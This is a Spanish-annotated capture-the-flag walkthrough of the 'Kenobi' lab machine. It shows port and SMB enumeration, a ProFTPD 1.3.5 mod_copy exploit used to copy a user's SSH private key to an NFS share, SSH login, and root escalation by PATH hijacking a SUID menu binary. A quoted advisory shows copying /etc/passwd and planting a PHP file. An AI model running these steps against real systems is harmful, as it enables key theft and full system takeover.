Kenobi

SMB

```
 smbmap -H 10.10.163.243

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\  \/.    |   /' /\  \     |:  ____/
    __/  \  |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \  \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
 -----------------------------------------------------------------------------
     SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)

[+] IP: 10.10.163.243:445       Name: 10.10.163.243             Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        anonymous                                               READ ONLY
        IPC$                                                    NO ACCESS       IPC Service (kenobi server (Samba, Ubuntu))


  └─$ smbclient //10.10.163.243/anonymous -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Sep  4 06:49:09 2019
  ..                                  D        0  Wed Sep  4 06:56:07 2019
  log.txt                             N    12237  Wed Sep  4 06:49:09 2019


mb: \> get log.txt
getting file \log.txt of size 12237 as log.txt (8,0 KiloBytes/sec) (average 8,0 KiloBytes/sec)
smb: \> cat log.txt
cat: command not found
smb: \> exit

┌──(kali㉿kali)-[~]
└─$ cat log.txt
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|           ..    |
|        . o. .   |
|       ..=o +.   |
|      . So.o++o. |
|  o ...+oo.Bo*o  |
| o o ..o.o+.@oo  |
|  . . . E .O+= . |
|     . .   oBo.  |
+----[SHA256]-----+

# This is a basic ProFTPD configuration file (rename it to 
# 'proftpd.conf' for actual use.  It establishes a single server
# and a single anonymous login.  It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.

ServerName                      "ProFTPD Default Installation"
ServerType                      standalone
DefaultServer                   on

# Port 21 is the standard FTP port.
Port                            21

# Don't use IPv6 support by default.
UseIPv6                         off

# Umask 022 is a good standard umask to prevent new dirs and files
# from being group and world writable.
Umask                           022

# To prevent DoS attacks, set the maximum number of child processes
# to 30.  If you need to allow more than 30 concurrent connections
# at once, simply increase this value.  Note that this ONLY works
# in standalone mode, in inetd mode you should use an inetd server
# that allows you to limit maximum number of processes per service
# (such as xinetd).
MaxInstances                    30

# Set the user and group under which the server will run.
User                            kenobi
Group                           kenobi

# To cause every FTP user to be "jailed" (chrooted) into their home
# directory, uncomment this line.
#DefaultRoot ~

# Normally, we want files to be overwriteable.
AllowOverwrite          on

# Bar use of SITE CHMOD by default
<Limit SITE_CHMOD>
  DenyAll
</Limit>

# A basic anonymous configuration, no upload directories.  If you do not
# want anonymous users, simply delete this entire <Anonymous> section.
<Anonymous ~ftp>
  User                          ftp
  Group                         ftp

  # We want clients to be able to login with "anonymous" as well as "ftp"
  UserAlias                     anonymous ftp

  # Limit the maximum number of anonymous logins
  MaxClients                    10

  # We want 'welcome.msg' displayed at login, and '.message' displayed
  # in each newly chdired directory.
  DisplayLogin                  welcome.msg
  DisplayChdir                  .message

  # Limit WRITE everywhere in the anonymous chroot
  <Limit WRITE>
    DenyAll
  </Limit>
</Anonymous>
#
# Sample configuration file for the Samba suite for Debian GNU/Linux.
#
#
# This is the main Samba configuration file. You should read the
# smb.conf(5) manual page in order to understand the options listed
# here. Samba has a huge number of configurable options most of which
# are not shown in this example
#
# Some options that are often worth tuning have been included as
# commented-out examples in this file.
#  - When such options are commented with ";", the proposed setting
#    differs from the default Samba behaviour
#  - When commented with "#", the proposed setting is the default
#    behaviour of Samba but the option is considered important
#    enough to be mentioned here
#
# NOTE: Whenever you modify this file you should run the command
# "testparm" to check that you have not made any basic syntactic
# errors.

#======================= Global Settings =======================

[global]

## Browsing/Identification ###

# Change this to the workgroup/NT-domain name your Samba server will part of
   workgroup = WORKGROUP

# server string is the equivalent of the NT Description field
	server string = %h server (Samba, Ubuntu)

# Windows Internet Name Serving Support Section:
# WINS Support - Tells the NMBD component of Samba to enable its WINS Server
#   wins support = no

# WINS Server - Tells the NMBD components of Samba to be a WINS Client
# Note: Samba can be either a WINS Server, or a WINS Client, but NOT both
;   wins server = w.x.y.z

# This will prevent nmbd to search for NetBIOS names through DNS.
   dns proxy = no

#### Networking ####

# The specific set of interfaces / networks to bind to
# This can be either the interface name or an IP address/netmask;
# interface names are normally preferred
;   interfaces = 127.0.0.0/8 eth0

# Only bind to the named interfaces and/or networks; you must use the
# 'interfaces' option above to use this.
# It is recommended that you enable this feature if your Samba machine is
# not protected by a firewall or is a firewall itself.  However, this
# option cannot handle dynamic or non-broadcast interfaces correctly.
;   bind interfaces only = yes



#### Debugging/Accounting ####

# This tells Samba to use a separate log file for each machine
# that connects
   log file = /var/log/samba/log.%m

# Cap the size of the individual log files (in KiB).
   max log size = 1000

# If you want Samba to only log through syslog then set the following
# parameter to 'yes'.
#   syslog only = no

# We want Samba to log a minimum amount of information to syslog. Everything
# should go to /var/log/samba/log.{smbd,nmbd} instead. If you want to log
# through syslog you should set the following parameter to something higher.
   syslog = 0

# Do something sensible when Samba crashes: mail the admin a backtrace
   panic action = /usr/share/samba/panic-action %d


####### Authentication #######

# Server role. Defines in which mode Samba will operate. Possible
# values are "standalone server", "member server", "classic primary
# domain controller", "classic backup domain controller", "active
# directory domain controller".
#
# Most people will want "standalone sever" or "member server".
# Running as "active directory domain controller" will require first
# running "samba-tool domain provision" to wipe databases and create a
# new domain.
   server role = standalone server

# If you are using encrypted passwords, Samba will need to know what
# password database type you are using.
   passdb backend = tdbsam

   obey pam restrictions = yes

# This boolean parameter controls whether Samba attempts to sync the Unix
# password with the SMB password when the encrypted SMB password in the
# passdb is changed.
   unix password sync = yes

# For Unix password sync to work on a Debian GNU/Linux system, the following
# parameters must be set (thanks to Ian Kahan <<kahan@informatik.tu-muenchen.de> for
# sending the correct chat script for the passwd program in Debian Sarge).
   passwd program = /usr/bin/passwd %u
   passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n
*password\supdated\ssuccessfully* .

# This boolean controls whether PAM will be used for password changes
# when requested by an SMB client instead of the program listed in
# 'passwd program'. The default is 'no'.
   pam password change = yes

# This option controls how unsuccessful authentication attempts are mapped
# to anonymous connections
   map to guest = bad user

########## Domains ###########

#
# The following settings only takes effect if 'server role = primary
# classic domain controller', 'server role = backup domain controller'
# or 'domain logons' is set
#

# It specifies the location of the user's
# profile directory from the client point of view) The following
# required a [profiles] share to be setup on the samba server (see
# below)
;   logon path = \\%N\profiles\%U
# Another common choice is storing the profile in the user's home directory
# (this is Samba's default)
#   logon path = \\%N\%U\profile

# The following setting only takes effect if 'domain logons' is set
# It specifies the location of a user's home directory (from the client
# point of view)
;   logon drive = H:
#   logon home = \\%N\%U

# The following setting only takes effect if 'domain logons' is set
# It specifies the script to run during logon. The script must be stored
# in the [netlogon] share
# NOTE: Must be store in 'DOS' file format convention
;   logon script = logon.cmd

# This allows Unix users to be created on the domain controller via the SAMR
# RPC pipe.  The example command creates a user account with a disabled Unix
# password; please adapt to your needs
; add user script = /usr/sbin/adduser --quiet --disabled-password --gecos "" %u

# This allows machine accounts to be created on the domain controller via the
# SAMR RPC pipe.
# The following assumes a "machines" group exists on the system
; add machine script  = /usr/sbin/useradd -g machines -c "%u machine account" -d /var/lib/samba -s /bin/false %u

# This allows Unix groups to be created on the domain controller via the SAMR
# RPC pipe.
; add group script = /usr/sbin/addgroup --force-badname %g

############ Misc ############

# Using the following line enables you to customise your configuration
# on a per machine basis. The %m gets replaced with the netbios name
# of the machine that is connecting
;   include = /home/samba/etc/smb.conf.%m

# Some defaults for winbind (make sure you're not using the ranges
# for something else.)
;   idmap uid = 10000-20000
;   idmap gid = 10000-20000
;   template shell = /bin/bash

# Setup usershare options to enable non-root users to share folders
# with the net usershare command.

# Maximum number of usershare. 0 (default) means that usershare is disabled.
;   usershare max shares = 100

# Allow users who've been granted usershare privileges to create
# public shares, not just authenticated ones
   usershare allow guests = yes

#======================= Share Definitions =======================

# Un-comment the following (and tweak the other settings below to suit)
# to enable the default home directory shares. This will share each
# user's home directory as \\server\username
;[homes]
;   comment = Home Directories
;   browseable = no

# By default, the home directories are exported read-only. Change the
# next parameter to 'no' if you want to be able to write to them.
;   read only = yes

# File creation mask is set to 0700 for security reasons. If you want to
# create files with group=rw permissions, set next parameter to 0775.
;   create mask = 0700

# Directory creation mask is set to 0700 for security reasons. If you want to
# create dirs. with group=rw permissions, set next parameter to 0775.
;   directory mask = 0700

# By default, \\server\username shares can be connected to by anyone
# with access to the samba server.
# Un-comment the following parameter to make sure that only "username"
# can connect to \\server\username
# This might need tweaking when using external authentication schemes
;   valid users = %S

# Un-comment the following and create the netlogon directory for Domain Logons
# (you need to configure Samba to act as a domain controller too.)
;[netlogon]
;   comment = Network Logon Service
;   path = /home/samba/netlogon
;   guest ok = yes
;   read only = yes

# Un-comment the following and create the profiles directory to store
# users profiles (see the "logon path" option above)
# (you need to configure Samba to act as a domain controller too.)
# The path below should be writable by all users so that their
# profile directory may be created the first time they log on
;[profiles]
;   comment = Users profiles
;   path = /home/samba/profiles
;   guest ok = no
;   browseable = no
;   create mask = 0600
;   directory mask = 0700
```

```
[printers]
   comment = All Printers
   browseable = no
   path = /var/spool/samba
   printable = yes
   guest ok = no
   read only = yes
   create mask = 0700

# Windows clients look for this share name as a source of downloadable
# printer drivers
[print$]
   comment = Printer Drivers
   path = /var/lib/samba/printers
   browseable = yes
   read only = yes
   guest ok = no
# Uncomment to allow remote administration of Windows print drivers.
# You may need to replace 'lpadmin' with the name of the group your
# admin users are members of.
# Please note that you also need to set appropriate Unix permissions
# to the drivers directory for these users to have write rights in it
;   write list = root, @lpadmin
[anonymous]
   path = /home/kenobi/share
   browseable = yes
   read only = yes
   guest ok = yes
```

NC

```
┌──(kali㉿kali)-[~/Desktop/kenobi]
└─$ nc 10.10.163.243 21


┌──(kali㉿kali)-[~/Desktop/kenobi]
└─$ nc 10.10.163.243 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.163.243]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
^C

sudo mkdir /kenobi  <=== Raiz

sudo mount 10.10.163.243:/var/tmp /kenobi    <=== Montar en carpeta de la raiz fichero temporal con el id_rsa

┌──(kali㉿kali)-[/kenobi]
└─$ sudo chmod 600 id_rsa
[sudo] contraseña para kali:
chmod: cambiando los permisos de 'id_rsa': Sistema de ficheros de sólo lectura

┌──(kali㉿kali)-[/kenobi]

cp id_rsa /home/kali/Desktop/kenobi



┌──(kali㉿kali)-[~/Desktop/kenobi]
└─$ sudo chmod 600 id_rsa
[sudo] contraseña para kali:

┌──(kali㉿kali)-[~/Desktop/kenobi]
└─$ ssh -i id_rsa kenobi@10.10.163.243
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

103 packages can be updated.
65 updates are security updates.
buscar accesos a root y encintrar algo no usual (/usr/bin/menu)

kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
```

```
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
```

Comandos de menu son todos root:

```
kenobi@kenobi:~$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :2
4.8.0-58-generic
```

Usaremos el path de ifconfig

```
Last login: Wed Sep  4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

kenobi@kenobi:~$


kenobi@kenobi:~$ echo /bin/bash > ifconfig
kenobi@kenobi:~$ chmod 777 ifconfig
kenobi@kenobi:~$ export PATH=.:$PATH
kenobi@kenobi:~$ echo $PATH
.:/tmp:/tmp:/tmp:/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/
usr/games:/usr/local/games:/snap/bin
kenobi@kenobi:~$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@kenobi:~# cd /root
root@kenobi:/root# ls
root.txt
root@kenobi:/root# cat root.txt
177b3cd8562289f37382721c28381f02
root@kenobi:/root# Connection to 10.10.157.162 closed by remote host.
Connection to 10.10.157.162 closed.
```

searchsploit

```
─$ searchsploit  ProFTPD 1.3.5

------------------------------------------------------------------------------------------------------------------------
--------------------------------
 Exploit Title                                                                                   |  Path
------------------------------------------------------------------------------------------------------------------------
--------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)                                                  | linux/
remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution                                                        | linux/
remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)                                                    | linux/
remote/49908.py
ProFTPd 1.3.5 - File Copy                                                                   | linux/remote/36742.txt
------------------------------------------------------------------------------------------------------------------------
--------------------------------
Shellcodes: No Results

└─$ searchsploit -m linux/remote/36742.txt

  Exploit: ProFTPd 1.3.5 - File Copy
      URL: https://www.exploit-db.com/exploits/36742
     Path: /usr/share/exploitdb/exploits/linux/remote/36742.txt
    Codes: CVE-2015-3306, OSVDB-120834
 Verified: True
File Type: ASCII text
Copied to: /home/kali/Desktop/kenobi/36742.txt



Description TJ Saunders 2015-04-07 16:35:03 UTC
Vadim Melihow reported a critical issue with proftpd installations that use the
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands
to be used by *unauthenticated clients*:

---------------------------------
Trying 80.150.216.115...
Connected to 80.150.216.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR <sp> pathname
214-CPTO <sp> pathname
214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
214-SYMLINK <sp> source <sp> destination
214-RMDIR <sp> path
214-MKDIR <sp> path
214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect
214-QUOTA
214-HELP
214-CHGRP
214-CHMOD
214 Direct comments to root@www01a
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
```

```
250 Copy successful
----------------------------------------
```

He provides another, scarier example:

```
-----------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php
```

test.php now contains

```
----------------------
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied
-----------------------
```

test.php contains contain correct php script "<?php phpinfo(); ?>" which can be run by the php interpreter

Source: http://bugs.proftpd.org/show_bug.cgi?id=4169

Escaneo

```
┌──(kali㉿kali)-[~/Desktop/kenobi]
└─$ sudo nmap -p- -sS -sC -sV --open --min-rate 5000 -n -vvv 10.10.163.243 -oN escaneo

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-10 00:05 EST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:05
Completed NSE at 00:05, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:05
Completed NSE at 00:05, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:05
Completed NSE at 00:05, 0.00s elapsed
Initiating Ping Scan at 00:05
Scanning 10.10.163.243 [4 ports]
Completed Ping Scan at 00:05, 0.31s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 00:05
Scanning 10.10.163.243 [65535 ports]
Discovered open port 21/tcp on 10.10.163.243
Discovered open port 22/tcp on 10.10.163.243
Discovered open port 80/tcp on 10.10.163.243
Discovered open port 111/tcp on 10.10.163.243
Discovered open port 139/tcp on 10.10.163.243
Discovered open port 445/tcp on 10.10.163.243
Discovered open port 58405/tcp on 10.10.163.243
Discovered open port 46763/tcp on 10.10.163.243
Discovered open port 2049/tcp on 10.10.163.243
Discovered open port 36983/tcp on 10.10.163.243
Discovered open port 42689/tcp on 10.10.163.243
Completed SYN Stealth Scan at 00:06, 15.29s elapsed (65535 total ports)
Initiating Service scan at 00:06
Scanning 11 services on 10.10.163.243
Completed Service scan at 00:06, 13.70s elapsed (11 services on 1 host)
NSE: Script scanning 10.10.163.243.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:06
Completed NSE at 00:06, 9.06s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:06
Completed NSE at 00:06, 8.90s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:06
Completed NSE at 00:06, 0.01s elapsed
Nmap scan report for 10.10.163.243
Host is up, received timestamp-reply ttl 61 (0.30s latency).
Scanned at 2024-01-10 00:05:59 EST for 47s
Not shown: 65254 closed tcp ports (reset), 270 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE     REASON         VERSION
21/tcp    open  ftp         syn-ack ttl 61 ProFTPD 1.3.5
22/tcp    open  ssh         syn-ack ttl 61 OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8m00IxH/
X5gfu6Cryqi5Ti2TKUSpqgmhreJsfLL8uBJrGAKQApxZ0lq2rKplqVMs+xwlGTuHNZBVeURqvOe9MmkMUOh4ZIXZJ9
KNaBoJb27fXIvsS6sgPxSUuaeoWxutGwHHCDUbtqHuMAoSE2Nwl8G+VPc2DbbtSXcpu5c14HUzktDmsnfJo/
```

```
5TFiRuYR0uqH8oDl6Zy3JSnbYe/
QY+AfTpr1q7BDV85b6xP97/1WUTCw54CKUTV25Yc5h615EwQOMPwox94+48JVmgE00T4ARC3l6YWibqY6a5E8BU+
fksse35fFCwJhJEk6xplDkeauKklmVqeMysMWdiAQtDj
|   256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBpJvoJrIaQeGsbHE9vuz4iUyrUahyfHhN7wq9z3
uce9F+Cdeme1O+vIfBkmjQJKWZ3vmezLSebtW3VRxKKH3n8=
|   256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGB22m99Wlybun7o/h9e6Ea/9kHMT0Dz2GqSodFqIWDi
80/tcp    open  http        syn-ack ttl 61 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_/admin.html
|_http-server-header: Apache/2.4.18 (Ubuntu)
111/tcp   open  rpcbind     syn-ack ttl 61 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  1,2,3      50467/udp6  mountd
|   100005  1,2,3      54769/udp   mountd
|   100005  1,2,3      58405/tcp   mountd
|   100005  1,2,3      60415/tcp6  mountd
|   100021  1,3,4      35737/udp   nlockmgr
|   100021  1,3,4      40825/tcp6  nlockmgr
|   100021  1,3,4      46763/tcp   nlockmgr
|   100021  1,3,4      55829/udp6  nlockmgr
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
139/tcp   open  netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn syn-ack ttl 61 Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp  open  nfs         syn-ack ttl 61 2-4 (RPC #100003)
36983/tcp open  rpcbind     syn-ack ttl 61
42689/tcp open  rpcbind     syn-ack ttl 61
46763/tcp open  nlockmgr    syn-ack ttl 61 1-4 (RPC #100021)
58405/tcp open  mountd      syn-ack ttl 61 1-3 (RPC #100005)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: kenobi
|   NetBIOS computer name: KENOBI\x00
|   Domain name: \x00
|   FQDN: kenobi
|_  System time: 2024-01-09T23:06:32-06:00
| smb2-time:
|   date: 2024-01-10T05:06:32
|_  start_date: N/A
| nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
```

```
|   KENOBI<00>          Flags: <unique><active>
|   KENOBI<03>          Flags: <unique><active>
|   KENOBI<20>          Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>       Flags: <group><active>
|   WORKGROUP<1d>       Flags: <unique><active>
|   WORKGROUP<1e>       Flags: <group><active>
| Statistics:
|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_  00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_clock-skew: mean: 2h00m02s, deviation: 3h27m51s, median: 1s
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 51093/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 34629/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 45905/udp): CLEAN (Failed to receive data)
|   Check 4 (port 37550/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:06
Completed NSE at 00:06, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:06
Completed NSE at 00:06, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:06
Completed NSE at 00:06, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.92 seconds
           Raw packets sent: 73512 (3.235MB) | Rcvd: 67651 (2.706MB)
```

Informacion importante

```
PORT      STATE SERVICE     REASON         VERSION
21/tcp    open  ftp         syn-ack ttl 61 ProFTPD 1.3.5
22/tcp    open  ssh         syn-ack ttl 61 OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8m00IxH/
X5gfu6Cryqi5Ti2TKUSpqgmhreJsfLL8uBJrGAKQApxZ0lq2rKplqVMs+xwlGTuHNZBVeURqvOe9MmkMUOh4ZIXZJ9
KNaBoJb27fXIvsS6sgPxSUuaeoWxutGwHHCDUbtqHuMAoSE2Nwl8G+VPc2DbbtSXcpu5c14HUzktDmsnfJo/
5TFiRuYR0uqH8oDl6Zy3JSnbYe/
QY+AfTpr1q7BDV85b6xP97/1WUTCw54CKUTV25Yc5h615EwQOMPwox94+48JVmgE00T4ARC3l6YWibqY6a5E8BU+
fksse35fFCwJhJEk6xplDkeauKklmVqeMysMWdiAQtDj
|   256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBpJvoJrIaQeGsbHE9vuz4iUyrUahyfHhN7wq9z3
uce9F+Cdeme1O+vIfBkmjQJKWZ3vmezLSebtW3VRxKKH3n8=
|   256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGB22m99Wlybun7o/h9e6Ea/9kHMT0Dz2GqSodFqIWDi
80/tcp    open  http        syn-ack ttl 61 Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry 
|_/admin.html
|_http-server-header: Apache/2.4.18 (Ubuntu)
111/tcp   open  rpcbind     syn-ack ttl 61 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  1,2,3      50467/udp6  mountd
|   100005  1,2,3      54769/udp   mountd
|   100005  1,2,3      58405/tcp   mountd
|   100005  1,2,3      60415/tcp6  mountd
|   100021  1,3,4      35737/udp   nlockmgr
|   100021  1,3,4      40825/tcp6  nlockmgr
|   100021  1,3,4      46763/tcp   nlockmgr
|   100021  1,3,4      55829/udp6  nlockmgr
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
139/tcp   open  netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn syn-ack ttl 61 Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp  open  nfs         syn-ack ttl 61 2-4 (RPC #100003)
36983/tcp open  rpcbind     syn-ack ttl 61
42689/tcp open  rpcbind     syn-ack ttl 61
46763/tcp open  nlockmgr    syn-ack ttl 61 1-4 (RPC #100021)
58405/tcp open  mountd      syn-ack ttl 61 1-3 (RPC #100005)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery: 
```

```
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: kenobi
|   NetBIOS computer name: KENOBI\x00
|   Domain name: \x00
|   FQDN: kenobi
|_  System time: 2024-01-09T23:06:32-06:00
| smb2-time:
|   date: 2024-01-10T05:06:32
|_  start_date: N/A
| nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

       print$                                         NO ACCESS       Printer Drivers
        anonymous                                             READ ONLY
        IPC$                                          NO ACCESS       IPC Service (kenobi server (Samba, Ubuntu))


        └─$ showmount -e 10.10.163.243
Export list for 10.10.163.243:
/var *
```

(montable)

Resolucion Maquina

Ruta : /Desktop/kenobi

```
sudo nmap -p- -sS -sC -sV --open --min-rate 5000 -n -vvv 10.10.163.243 -oN escaneo
```

Escanear SMB

```
 smbmap -H 10.10.163.243
```

 Usuario Accesibles solo uno (anonymous)

```
 IP: 10.10.163.243:445       Name: 10.10.163.243             Status: Authenticated
        Disk                                              Permissions     Comment
        ----                                              -----------     -------
        print$                                            NO ACCESS       Printer Drivers
